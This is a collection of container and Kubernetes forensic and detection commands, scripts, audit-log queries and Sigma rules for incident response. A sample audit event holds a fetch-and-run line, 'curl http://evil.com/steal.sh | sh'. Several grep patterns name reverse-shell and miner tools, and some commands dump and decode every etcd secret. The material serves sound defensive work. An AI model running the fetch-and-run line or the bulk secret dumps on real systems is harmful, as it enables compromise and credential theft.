docker version --format '{{.Server.Components}}'

lsns -t pid -t net -t mnt -t uts -t ipc -t user

cat /sys/fs/cgroup/cpu/docker/<container_id>/cpu.stat
cat /sys/fs/cgroup/memory/docker/<container_id>/memory.usage_in_bytes

docker inspect --format '{{.HostConfig.CapAdd}}' <container_id>

kubectl cluster-info
kubectl get componentstatuses
kubectl get nodes -o wide

kubectl get clusterrolebindings -o yaml
kubectl get rolebindings --all-namespaces -o yaml
kubectl auth can-i --list --as=system:serviceaccount:default:compromised-sa

kubectl get networkpolicies --all-namespaces -o yaml

docker inspect --format '{{json .Manifests}}' <image_name> | jq .

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "digest": "sha256:a1b2c3d4e5f6...",
    "size": 5283
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.layer.diff.tar.gzip",
      "digest": "sha256:b2c3d4e5f6a7...",
      "size": 7323456
    }
  ]
}

docker inspect <image_name> | jq '.[0].Config'

ls /var/lib/docker/overlay2/
cat /var/lib/docker/overlay2/<layer_id>/diff/etc/passwd

container-diff analyze <image_name> --type=file --type=apt --type=pip

docker history <image_name> --no-trunc

trivy image --severity HIGH,CRITICAL <image_name>
grype <image_name> -o json | jq '.matches[] | select(.vulnerability.severity == "Critical")'

docker run --rm <image_name> ps aux | grep -iE 'xmrig|mine|pool|stratum|crypto'
docker run --rm <image_name> cat /etc/crontab
docker run --rm <image_name> find /tmp /dev/shm -name "*.sh" -o -name "*.miner*"

docker run --rm --entrypoint="" <image_name> cat /etc/passwd
docker run --rm --entrypoint="" <image_name> ls -la /root/.ssh/
docker run --rm --entrypoint="" <image_name> cat /root/.bashrc
docker run --rm --entrypoint="" <image_name> find / -perm -4000 -type f 2>/dev/null

docker run --rm --entrypoint="" <image_name> cat /entrypoint.sh
docker run --rm --entrypoint="" <image_name> grep -r "curl\|wget\|nc\|ncat\|socat" / --include="*.sh" --include="*.py" 2>/dev/null

dive <image_name>
dive --json report.json <image_name>

trivy image --scanners vuln,misconfig,secret <image_name>
trivy image --format sarif -o report.sarif <image_name>

grype <image_name> -o table
syft <image_name> -o spdx-json > sbom.json

docker inspect --format '{{.GraphDriver.Data.MergedDir}}' <container_id>
ls -la $(docker inspect --format '{{.GraphDriver.Data.MergedDir}}' <container_id>)

docker export <container_id> -o container_fs.tar
mkdir -p /tmp/container_forensics
tar xf container_fs.tar -C /tmp/container_forensics

find /tmp/container_forensics -name "*.sh" -o -name "*.py" -o -name "*.pl" 2>/dev/null
find /tmp/container_forensics -newer /tmp/container_forensics/etc/passwd -type f 2>/dev/null
find /tmp/container_forensics -perm -4000 -type f 2>/dev/null
strings /tmp/container_forensics/usr/bin/* 2>/dev/null | grep -iE 'http|ftp|wget|curl|eval|base64'

docker top <container_id> auxf
docker top <container_id> -eo pid,ppid,uid,cmd

ps aux | grep $(docker inspect --format '{{.State.Pid}}' <container_id>)
ls -la /proc/$(docker inspect --format '{{.State.Pid}}' <container_id>)/exe
cat /proc/$(docker inspect --format '{{.State.Pid}}' <container_id>)/cmdline | tr '\0' ' '
cat /proc/$(docker inspect --format '{{.State.Pid}}' <container_id>)/environ | tr '\0' '\n'

docker inspect --format '{{json .NetworkSettings}}' <container_id> | jq .
docker inspect --format '{{.NetworkSettings.IPAddress}}' <container_id>
docker port <container_id>

docker inspect --format '{{json .Config.Env}}' <container_id> | jq .
docker inspect --format '{{json .Mounts}}' <container_id> | jq .

docker inspect --format '{{range .Mounts}}{{.Source}} -> {{.Destination}} ({{.Mode}})
{{end}}' <container_id>

docker commit <container_id> forensic_snapshot_$(date +%Y%m%d_%H%M%S)
docker save <image_name> -o forensic_image_$(date +%Y%m%d_%H%M%S).tar
docker export <container_id> -o container_fs_$(date +%Y%m%d_%H%M%S).tar

cat /var/lib/docker/containers/<container_id>/<container_id>-json.log
docker logs --since "2026-06-01T00:00:00" --until "2026-06-02T00:00:00" <container_id>

grep <container_name> /var/log/syslog
grep <container_name> /var/log/messages

journalctl -u docker CONTAINER_NAME=<container_id> --since "2026-06-01"
journalctl CONTAINER_ID=<short_id> --since "2026-06-01T00:00:00" --until "2026-06-02T00:00:00"

docker events --since "2026-06-01T00:00:00" --until "2026-06-02T00:00:00" --format '{{json .}}' | jq .

docker events --filter 'type=container' --filter 'event=exec_start' --format '{{.Time}} {{.Actor.Attributes.name}} {{.Action}}' | jq .

journalctl -u containerd --since "2026-06-01T00:00:00" --until "2026-06-02T00:00:00"
cat /var/log/containerd/containerd.log

cat /etc/audit/rules.d/docker.rules

-w /usr/bin/docker -p rwxa -k docker
-w /var/lib/docker -p rwxa -k docker
-w /etc/docker -p rwxa -k docker
-w /usr/lib/systemd/system/docker.service -p rwxa -k docker
-w /usr/lib/systemd/system/docker.socket -p rwxa -k docker
-w /etc/default/docker -p rwxa -k docker
-w /etc/docker/daemon.json -p rwxa -k docker
-w /etc/containerd/config.toml -p rwxa -k docker
-w /var/run/docker.sock -p rwxa -k docker

ausearch -k docker -ts recent
ausearch -k docker --start "2026-06-01 00:00:00" --end "2026-06-02 00:00:00"
aureport -k --start "2026-06-01" --end "2026-06-02"

apiVersion: v1
kind: ConfigMap
metadata:
  name: fluentd-config
  namespace: logging
data:
  fluent.conf: |
    <source>
      @type tail
      path /var/log/containers/*.log
      pos_file /var/log/fluentd-containers.log.pos
      tag kubernetes.*
      read_from_head true
      <parse>
        @type json
        time_key time
        time_format %Y-%m-%dT%H:%M:%S.%NZ
      </parse>
    </source>
    <filter kubernetes.**>
      @type kubernetes_metadata
    </filter>
    <match **>
      @type elasticsearch
      host elasticsearch.logging.svc.cluster.local
      port 9200
      logstash_format true
      logstash_prefix container-logs
    </match>

brctl show docker0
tcpdump -i docker0 -w container_traffic.pcap

tcpdump -i eth0 -w host_mode_traffic.pcap

docker exec -it <container_id> sh -c "apt-get update && apt-get install -y tcpdump"
docker exec -it <container_id> tcpdump -i eth0 -w /tmp/traffic.pcap
docker cp <container_id>:/tmp/traffic.pcap ./evidence/traffic.pcap

VETH=$(docker inspect --format '{{range .NetworkSettings.Networks}}{{.EndpointID}}{{end}}' <container_id>)
tcpdump -i $(brctl show | grep $VETH | awk '{print $1}') -w container_veth_traffic.pcap

PID=$(docker inspect --format '{{.State.Pid}}' <container_id>)
nsenter -t $PID -n tcpdump -i eth0 -w /tmp/container_ns_traffic.pcap

docker network inspect bridge | jq '.[0].Containers'

iptables -L DOCKER -v -n
iptables -t nat -L DOCKER -v -n

calicoctl node status
calicoctl get policy -o yaml
calicoctl get workloadendpoints -o wide

cat /run/flannel/subnet.env
ip route | grep flannel
cat /var/lib/calico/infocfg.json

cilium status
cilium policy get
cilium endpoint list
cilium monitor --type drop

istioctl proxy-status
istioctl proxy-config routes <pod_name>
istioctl proxy-config clusters <pod_name>
kubectl logs <pod_name> -c istio-proxy --tail=1000

linkerd stat deployments --all-namespaces
linkerd top pods --all-namespaces
linkerd tap deployment/<name> --max-rps 100

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["secrets", "configmaps"]
    verbs: ["get", "list", "watch", "create", "update", "patch"]
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["pods"]
    verbs: ["create", "delete", "patch", "update"]
  - level: Metadata
    resources:
      - group: ""
        resources: ["pods/log", "pods/status"]
  - level: None
    resources:
      - group: "metrics.k8s.io"
    verbs: ["get", "list"]
  - level: Metadata
    nonResourceURLs: ["/healthz*", "/version"]

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "RequestResponse",
  "auditID": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "stage": "ResponseComplete",
  "requestURI": "/api/v1/namespaces/default/pods",
  "verb": "create",
  "user": {
    "username": "system:serviceaccount:default:compromised-sa",
    "uid": "12345-abcde",
    "groups": ["system:serviceaccounts", "system:serviceaccounts:default"]
  },
  "sourceIPs": ["10.0.0.100"],
  "userAgent": "kubectl/v1.28.0",
  "objectRef": {
    "resource": "pods",
    "namespace": "default",
    "name": "suspicious-pod"
  },
  "responseStatus": {
    "code": 201
  },
  "requestReceivedTimestamp": "2026-06-01T10:00:00.000000Z",
  "stageTimestamp": "2026-06-01T10:00:00.100000Z",
  "requestObject": {
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": { "name": "suspicious-pod" },
    "spec": {
      "containers": [{
        "name": "main",
        "image": "malicious:latest",
        "command": ["/bin/sh", "-c", "curl http://evil.com/steal.sh | sh"]
      }]
    }
  }
}

cat /var/log/kubernetes/audit/audit.log | jq 'select(.verb == "create" and .objectRef.resource == "pods" and .user.username != "system:kube-scheduler")'

cat /var/log/kubernetes/audit/audit.log | jq 'select(.verb == "create" and .objectRef.resource == "pods/exec")'

cat /var/log/kubernetes/audit/audit.log | jq 'select(.verb == "get" and .objectRef.resource == "secrets")'

cat /var/log/kubernetes/audit/audit.log | jq 'select(.requestURI | startswith("/api/v1/namespaces/") and contains("portforward"))'

filebeat.inputs:
  - type: log
    enabled: true
    paths:
      - /var/log/kubernetes/audit/audit.log
    json.keys_under_root: true
    json.add_error_key: true

output.elasticsearch:
  hosts: ["elasticsearch:9200"]
  index: "k8s-audit-%{+yyyy.MM.dd}"

# 查找非 kube-system 命名空间中的 Secret 访问
kibana_context: |
  query: |
    verb:("get" or "list" or "watch") AND objectRef.resource:"secrets" AND NOT user.username:("system:*")
  filters:
    - range:
        requestReceivedTimestamp:
          gte: "2026-06-01T00:00:00"
          lte: "2026-06-02T00:00:00"

kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "cluster-admin") | "Subject: \(.subjects // [] | map(.name) | join(", ")) | Binding: \(.metadata.name)"'

kubectl auth can-i --list --as=system:serviceaccount:default:default
kubectl auth can-i create pods --as=system:serviceaccount:default:default --all-namespaces
kubectl auth can-i get secrets --as=system:serviceaccount:default:default --all-namespaces

kubectl get pods --all-namespaces -o json | jq -r '.items[] | select(.spec.containers[].securityContext.privileged == true or .spec.hostNetwork == true or .spec.hostPID == true or .spec.hostIPC == true) | "\(.metadata.namespace)/\(.metadata.name) privileged:\(.spec.containers[].securityContext.privileged // false) hostNetwork:\(.spec.hostNetwork // false) hostPID:\(.spec.hostPID // false)"'

kubectl get pods --all-namespaces -o json | jq -r '.items[] | .spec.containers[] | select(.image | test("^(?!registry\\.k8s\\.io|docker\\.io|gcr\\.io).*$")) | "\(.image)"' | sort -u

kubectl get serviceaccounts --all-namespaces -o json | jq -r '.items[] | select(.secrets | length > 0) | "\(.metadata.namespace)/\(.metadata.name) secrets: \(.secrets | length)"'

kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.kind == "ServiceAccount") | {binding: .metadata.name, role: .roleRef.name, subjects: [.subjects[]? | select(.kind == "ServiceAccount") | "\(.namespace)/\(.name)"]}'

cat /var/log/kubernetes/audit/audit.log | jq 'select(.requestURI | test("/api/v1/namespaces/.+/pods/.+/exec")) | {user: .user.username, namespace: .objectRef.namespace, pod: .objectRef.name, time: .requestReceivedTimestamp, responseCode: .responseStatus.code}'

kubectl get pods --all-namespaces -o json | jq -r '.items[] | select(.status.containerStatuses[]?.state.waiting != null) | "\(.metadata.namespace)/\(.metadata.name) waiting: \(.status.containerStatuses[].state.waiting.reason)"'

kubectl get secrets --all-namespaces -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) type:\(.type)"'

kubectl get pods --all-namespaces -o json | jq -r '.items[] | select(.spec.volumes[]?.secret != null) | "\(.metadata.namespace)/\(.metadata.name) mounts: \([.spec.volumes[]? | select(.secret != null) | .secret.secretName] | join(", "))"'

for ns in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}'); do
  policy_count=$(kubectl get networkpolicies -n $ns --no-headers 2>/dev/null | wc -l)
  if [ "$policy_count" -eq 0 ]; then
    echo "WARNING: namespace $ns has no NetworkPolicy"
  fi
done

ls -la /var/lib/etcd/
ls -la /var/lib/etcd/member/snap/
ls -la /var/lib/etcd/member/wal/

etcdctl get / --prefix --keys-only | head -50
etcdctl get / --prefix --keys-only | wc -l

/registry/pods/<namespace>/<name>
/registry/secrets/<namespace>/<name>
/registry/services/specs/<namespace>/<name>
/registry/serviceaccounts/<namespace>/<name>
/registry/clusterrolebindings/<name>
/registry/roles/<namespace>/<name>

etcdctl endpoint health --endpoints=https://127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key

etcdctl auth status --endpoints=https://127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key

etcdctl get /registry/pods --prefix --keys-only
etcdctl get /registry/deployments --prefix --keys-only
etcdctl get /registry/services --prefix --keys-only

for resource in pods deployments services configmaps secrets serviceaccounts roles rolebindings clusterrolebindings; do
  etcdctl get /registry/$resource --prefix --print-value-only > /tmp/etcd_export_${resource}.yaml 2>/dev/null
  echo "Exported $resource"
done

etcdctl get /registry/secrets/default/my-secret --print-value-only | base64 -d

etcdctl get /registry/secrets --prefix --keys-only | while read key; do
  echo "=== $key ==="
  etcdctl get "$key" --print-value-only | base64 -d 2>/dev/null || echo "(binary data)"
done

ls -la /var/lib/etcd/member/snap/
file /var/lib/etcd/member/snap/db

etcdctl snapshot save /tmp/etcd_snapshot_$(date +%Y%m%d_%H%M%S).db --endpoints=https://127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key
etcdctl snapshot status /tmp/etcd_snapshot.db --write-table

ps auxf | grep -E 'nsenter|chroot|unshare|mount|/proc/1'
cat /proc/1/cgroup | grep -v docker
ls -la /proc/*/root | grep -E 'docker|kubepods' | head -20

mount | grep -E 'overlay|proc|sysfs' | grep -v 'docker\|kubepods'
find /mnt -maxdepth 3 -name "shadow" -o -name "passwd" 2>/dev/null
ls -la /host/ 2>/dev/null

ss -tlnp | grep -v docker
ss -tlnp | grep -E '4444|4445|1234|8888|9999'
netstat -antp | grep ESTABLISHED | awk '{print $5}' | sort -u

dmesg | grep -iE 'segfault|general protection|container|escap'
dmesg | grep -iE 'apparmor|selinux|seccomp' | grep -i denied

ausearch -k docker -ts recent | grep -E 'mount|ptrace|chroot|unshare|setns'

journalctl -u falco --since "1 hour ago" | grep -iE 'escape|container_drift|sensitive_mount'

grep -r "nsenter\|chroot\|mount /dev\|mount -t proc" /var/lib/docker/containers/*/*.log
grep -r "curl.*evil\|wget.*malicious\|base64\|/bin/sh -i" /var/lib/docker/containers/*/*.log
grep -rE "docker.sock|privileged|hostNetwork|hostPID" /var/log/kubernetes/audit/audit.log

sysdig -pc container.name=<name> evt.type in (mount, ptrace, chroot, unshare, setns)

- rule: Container Escape Attempt
  desc: Detect potential container escape via privileged operations
  condition: >
    evt.type in (mount, ptrace, chroot) and
    container and not container.id = host
  output: >
    Privileged operation in container
    (user=%user.name command=%proc.cmdline container=%container.name
    container_id=%container.id image=%container.image.repository)
  priority: CRITICAL
  tags: [container, escape]

leapp scan --image <image_name>

docker history suspicious-miner --no-trunc | grep -iE 'curl|wget|base64|eval'
docker inspect suspicious-miner | jq '.[0].Config.Entrypoint'
docker run --rm --entrypoint="" suspicious-miner find / -name "*.miner*" -o -name "config.json" -path "*pool*" 2>/dev/null

cat /var/log/kubernetes/audit/audit.log | jq 'select(.user.username == "system:serviceaccount:default:default" and .verb == "get" and .objectRef.resource == "secrets") | {time: .requestReceivedTimestamp, secret: .objectRef.name, namespace: .objectRef.namespace, code: .responseStatus.code}'
cat /var/log/kubernetes/audit/audit.log | jq 'select(.user.username == "system:serviceaccount:default:default" and .verb == "create" and .objectRef.resource == "clusterrolebindings") | {time: .requestReceivedTimestamp, name: .objectRef.name}'

trivy image --scanners secret,vuln,misconfig production-image:latest
diff <(docker history production-image --no-trunc --format '{{.CreatedBy}}') <(docker history last-known-good-image --no-trunc --format '{{.CreatedBy}}')
docker run --rm --entrypoint="" production-image:latest find / -name "*.backdoor*" -o -name "shell.elf" 2>/dev/null

#!/bin/bash
REPORT_DIR="/tmp/docker_forensics_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$REPORT_DIR"

echo "[*] Docker Info" > "$REPORT_DIR/docker_audit.txt"
docker info >> "$REPORT_DIR/docker_audit.txt" 2>&1

echo -e "\n[*] Running Containers" >> "$REPORT_DIR/docker_audit.txt"
docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}\t{{.Names}}" >> "$REPORT_DIR/docker_audit.txt"

echo -e "\n[*] Privileged Containers" >> "$REPORT_DIR/docker_audit.txt"
for cid in $(docker ps -q); do
  priv=$(docker inspect --format '{{.HostConfig.Privileged}}' "$cid" 2>/dev/null)
  if [ "$priv" = "true" ]; then
    echo "PRIVILEGED: $cid ($(docker inspect --format '{{.Config.Image}}' "$cid"))" >> "$REPORT_DIR/docker_audit.txt"
  fi
done

echo -e "\n[*] Containers with Docker Socket Mounted" >> "$REPORT_DIR/docker_audit.txt"
for cid in $(docker ps -q); do
  socket=$(docker inspect --format '{{range .Mounts}}{{.Source}}{{end}}' "$cid" 2>/dev/null | grep -c "docker.sock")
  if [ "$socket" -gt 0 ]; then
    echo "DOCKER SOCKET MOUNTED: $cid ($(docker inspect --format '{{.Config.Image}}' "$cid"))" >> "$REPORT_DIR/docker_audit.txt"
  fi
done

echo -e "\n[*] Containers using Host Network" >> "$REPORT_DIR/docker_audit.txt"
for cid in $(docker ps -q); do
  hostnet=$(docker inspect --format '{{.HostConfig.NetworkMode}}' "$cid" 2>/dev/null)
  if [ "$hostnet" = "host" ]; then
    echo "HOST NETWORK: $cid ($(docker inspect --format '{{.Config.Image}}' "$cid"))" >> "$REPORT_DIR/docker_audit.txt"
  fi
done

echo -e "\n[*] Images with High/Critical CVEs" >> "$REPORT_DIR/docker_audit.txt"
for img in $(docker images --format '{{.Repository}}:{{.Tag}}' | grep -v '<none>'); do
  echo "--- Scanning $img ---" >> "$REPORT_DIR/docker_audit.txt"
  trivy image --severity HIGH,CRITICAL --quiet "$img" >> "$REPORT_DIR/docker_audit.txt" 2>&1
done

echo -e "\n[*] Docker Events (last 24h)" >> "$REPORT_DIR/docker_audit.txt"
docker events --since "24h" --until "now" --format '{{.Time}} {{.Type}} {{.Action}} {{.Actor.Attributes.name}}' >> "$REPORT_DIR/docker_audit.txt" 2>&1

echo -e "\n[*] Suspicious Processes in Containers" >> "$REPORT_DIR/docker_audit.txt"
for cid in $(docker ps -q); do
  procs=$(docker top "$cid" aux 2>/dev/null | grep -iE 'xmrig|mine|stratum|curl.*sh|wget.*sh|nc -|ncat|socat|bash -i|/dev/tcp')
  if [ -n "$procs" ]; then
    echo "SUSPICIOUS PROCS in $cid:" >> "$REPORT_DIR/docker_audit.txt"
    echo "$procs" >> "$REPORT_DIR/docker_audit.txt"
  fi
done

echo "[+] Audit report saved to $REPORT_DIR/docker_audit.txt"

#!/bin/bash
AUDIT_LOG="/var/log/kubernetes/audit/audit.log"
REPORT="/tmp/k8s_audit_report_$(date +%Y%m%d_%H%M%S).txt"

echo "[*] Non-system User API Calls" > "$REPORT"
cat "$AUDIT_LOG" | jq -r 'select(.user.username | test("^system:") | not) | "\(.requestReceivedTimestamp) \(.user.username) \(.verb) \(.objectRef.resource // "nonResource") \(.objectRef.name // .requestURI) \(.responseStatus.code)"' | sort | tail -100 >> "$REPORT"

echo -e "\n[*] Secret Access Events" >> "$REPORT"
cat "$AUDIT_LOG" | jq -r 'select(.objectRef.resource == "secrets") | "\(.requestReceivedTimestamp) \(.user.username) \(.verb) \(.objectRef.namespace)/\(.objectRef.name) code:\(.responseStatus.code)"' >> "$REPORT"

echo -e "\n[*] Pod Exec Operations" >> "$REPORT"
cat "$AUDIT_LOG" | jq -r 'select(.requestURI | test("pods/.+/exec")) | "\(.requestReceivedTimestamp) \(.user.username) \(.objectRef.namespace)/\(.objectRef.name) code:\(.responseStatus.code)"' >> "$REPORT"

echo -e "\n[*] ClusterRoleBinding Creations" >> "$REPORT"
cat "$AUDIT_LOG" | jq -r 'select(.objectRef.resource == "clusterrolebindings" and .verb == "create") | "\(.requestReceivedTimestamp) \(.user.username) created \(.objectRef.name) code:\(.responseStatus.code)"' >> "$REPORT"

echo -e "\n[*] Failed Authentication Attempts" >> "$REPORT"
cat "$AUDIT_LOG" | jq -r 'select(.responseStatus.code == 401 or .responseStatus.code == 403) | "\(.requestReceivedTimestamp) \(.user.username) \(.verb) \(.objectRef.resource // "nonResource") \(.requestURI) code:\(.responseStatus.code)"' | tail -50 >> "$REPORT"

echo -e "\n[*] Port Forward Operations" >> "$REPORT"
cat "$AUDIT_LOG" | jq -r 'select(.requestURI | test("portforward")) | "\(.requestReceivedTimestamp) \(.user.username) \(.objectRef.namespace)/\(.objectRef.name) code:\(.responseStatus.code)"' >> "$REPORT"

echo "[+] Report saved to $REPORT"

#!/bin/bash
REPORT="/tmp/escape_detection_$(date +%Y%m%d_%H%M%S).txt"

echo "[*] Checking for Privileged Containers" > "$REPORT"
docker ps -q | xargs -I {} sh -c 'docker inspect --format "{{.Name}} privileged:{{.HostConfig.Privileged}} pid:{{.HostConfig.PidMode}} net:{{.HostConfig.NetworkMode}} ipc:{{.HostConfig.IpcMode}}" {}' >> "$REPORT"

echo -e "\n[*] Checking for Dangerous Capabilities" >> "$REPORT"
docker ps -q | xargs -I {} sh -c 'caps=$(docker inspect --format "{{.HostConfig.CapAdd}}" {}); if [ "$caps" != "[]" ] && [ "$caps" != "[]" ]; then echo "$(docker inspect --format "{{.Name}}") caps:$caps"; fi' >> "$REPORT"

echo -e "\n[*] Checking for Docker Socket Mounts" >> "$REPORT"
docker ps -q | xargs -I {} sh -c 'docker inspect --format "{{range .Mounts}}{{.Source}}->{{.Destination}} {{end}}" {} | grep -q "docker.sock" && docker inspect --format "{{.Name}}" {}' >> "$REPORT"

echo -e "\n[*] Checking for Host PID Namespace" >> "$REPORT"
docker ps -q | xargs -I {} sh -c 'mode=$(docker inspect --format "{{.HostConfig.PidMode}}" {}); if [ "$mode" = "host" ]; then echo "HOST PID: $(docker inspect --format "{{.Name}}")"; fi' >> "$REPORT"

echo -e "\n[*] Checking for Suspicious Processes (nsenter/chroot/mount)" >> "$REPORT"
docker ps -q | xargs -I {} sh -c 'docker top {} aux 2>/dev/null | grep -iE "nsenter|chroot|unshare|mount -t|/proc/1" && echo "Container: $(docker inspect --format "{{.Name}}" {})"' >> "$REPORT"

echo -e "\n[*] Checking Host for Docker Socket Access from Non-Docker Processes" >> "$REPORT"
lsof /var/run/docker.sock 2>/dev/null >> "$REPORT"

echo -e "\n[*] Checking for Unusual Capabilities in Running Processes" >> "$REPORT"
for pid in $(ls /proc/ | grep -E '^[0-9]+$' | head -500); do
  if [ -f /proc/$pid/status ]; then
    name=$(grep '^Name:' /proc/$pid/status 2>/dev/null | awk '{print $2}')
    caps=$(grep '^CapEff:' /proc/$pid/status 2>/dev/null | awk '{print $2}')
    if [ "$caps" = "0000003fffffffff" ] || [ "$caps" = "0000001fffffffff" ]; then
      echo "PID $pid ($name) has full capabilities: $caps" >> "$REPORT"
    fi
  fi
done

echo "[+] Escape detection report saved to $REPORT"

KubeAuditLogs
| where TimeGenerated > ago(24h)
| where Verb == "create" and ObjectRefResource == "pods"
| where UserUsername !startswith "system:"
| project TimeGenerated, UserUsername, Verb, ObjectRefNamespace, ObjectRefName, ResponseStatusCode
| order by TimeGenerated desc

KubeAuditLogs
| where TimeGenerated > ago(24h)
| where ObjectRefResource == "secrets" and Verb in ("get", "list", "watch")
| where UserUsername !startswith "system:"
| summarize SecretAccessCount = count() by UserUsername, ObjectRefNamespace, bin(TimeGenerated, 1h)
| where SecretAccessCount > 10
| order by SecretAccessCount desc

KubeAuditLogs
| where TimeGenerated > ago(24h)
| where RequestUri contains "exec"
| project TimeGenerated, UserUsername, ObjectRefNamespace, ObjectRefName, ResponseStatusCode
| order by TimeGenerated desc

SELECT
  requestReceivedTimestamp,
  user_username,
  verb,
  objectRef_resource,
  objectRef_namespace,
  objectRef_name,
  responseStatus_code
FROM k8s_audit_log
WHERE objectRef_resource = 'secrets'
  AND verb IN ('get', 'list', 'watch')
  AND user_username NOT LIKE 'system:%'
  AND requestReceivedTimestamp > '2026-06-01 00:00:00'
ORDER BY requestReceivedTimestamp DESC;

SELECT
  user_username,
  objectRef_resource,
  verb,
  COUNT(*) as request_count,
  MIN(requestReceivedTimestamp) as first_seen,
  MAX(requestReceivedTimestamp) as last_seen
FROM k8s_audit_log
WHERE requestReceivedTimestamp > DATE_SUB(NOW(), INTERVAL 24 HOUR)
  AND user_username NOT LIKE 'system:%'
GROUP BY user_username, objectRef_resource, verb
HAVING request_count > 50
ORDER BY request_count DESC;

title: Suspicious Container Privileged Mode Execution
id: 2a6d9f8c-e741-4a2b-b5d3-1c8e9f0a2b3c
status: experimental
description: Detects containers running in privileged mode which may indicate container escape preparation
references:
  - https://attack.mitre.org/techniques/T1611/
tags:
  - attack.privilege_escalation
  - attack.container_escape
logsource:
  category: audit
  product: kubernetes
detection:
  selection:
    verb: create
    objectRef.resource: pods
    requestObject.spec.containers.securityContext.privileged: true
  condition: selection
level: critical
falsepositives:
  - Legitimate system pods requiring privileged access

title: Kubernetes ServiceAccount Token Access from Non-System Account
id: 3b7e8d9f-f842-5b3c-c6e4-2d9f0a1b3c4d
status: experimental
description: Detects non-system accounts accessing ServiceAccount tokens which may indicate credential theft
references:
  - https://attack.mitre.org/techniques/T1528/
tags:
  - attack.credential_access
  - attack.steal_access_token
logsource:
  category: audit
  product: kubernetes
detection:
  selection:
    verb: get
    objectRef.resource: secrets
    objectRef.name: "*-token-*"
  filter:
    user.username: "system:*"
  condition: selection and not filter
level: high
falsepositives:
  - Legitimate secret reading by admin users

title: Kubernetes ClusterRoleBinding Creation
id: 4c8f9a0a-1d53-6c4d-d7f5-3ea01b2c4d5e
status: experimental
description: Detects creation of ClusterRoleBinding resources which may indicate privilege escalation
references:
  - https://attack.mitre.org/techniques/T1098/
tags:
  - attack.privilege_escalation
  - attack.account_manipulation
logsource:
  category: audit
  product: kubernetes
detection:
  selection:
    verb: create
    objectRef.resource: clusterrolebindings
  condition: selection
level: critical
falsepositives:
  - Legitimate cluster administration

title: Container Image from Untrusted Registry
id: 5d9a0b1b-2e64-7d5e-e8a6-4fb12c3d5e6f
status: experimental
description: Detects pod creation using images from untrusted or unknown container registries
references:
  - https://attack.mitre.org/techniques/T1610/
tags:
  - attack.execution
  - attack.deploy_container
logsource:
  category: audit
  product: kubernetes
detection:
  selection:
    verb: create
    objectRef.resource: pods
  filter_trusted:
    requestObject.spec.containers.image|startswith: "registry.k8s.io/"
    or requestObject.spec.containers.image|startswith: "docker.io/library/"
    or requestObject.spec.containers.image|startswith: "gcr.io/"
    or requestObject.spec.containers.image|startswith: "quay.io/"
  condition: selection and not filter_trusted
level: medium
falsepositives:
  - Legitimate use of private registries

title: Kubernetes Pod Exec Command Execution
id: 6e0b1c2c-3f75-8e6f-f9b7-5ac23d4e6f7a
status: experimental
description: Detects exec command execution into running pods which may indicate lateral movement
references:
  - https://attack.mitre.org/techniques/T1609/
tags:
  - attack.execution
  - attack.lateral_movement
logsource:
  category: audit
  product: kubernetes
detection:
  selection:
    verb: create
    requestUri|re: "/.+/pods/.+/exec"
  filter:
    user.username: "system:node:*"
  condition: selection and not filter
level: high
falsepositives:
  - Legitimate kubectl exec by administrators

title: Kubernetes Secret Bulk Enumeration
id: 7f1c2d3d-4a86-9f7a-0ac8-6bd34e5f7a8b
status: experimental
description: Detects bulk enumeration of secrets which may indicate credential harvesting
references:
  - https://attack.mitre.org/techniques/T1552/
tags:
  - attack.credential_access
  - attack.unsecured_credentials
logsource:
  category: audit
  product: kubernetes
detection:
  selection:
    verb: list
    objectRef.resource: secrets
  filter:
    user.username:
      - "system:kube-controller-manager"
      - "system:kube-scheduler"
      - "system:kube-proxy"
  condition: selection and not filter
level: high
falsepositives:
  - Legitimate secret management operations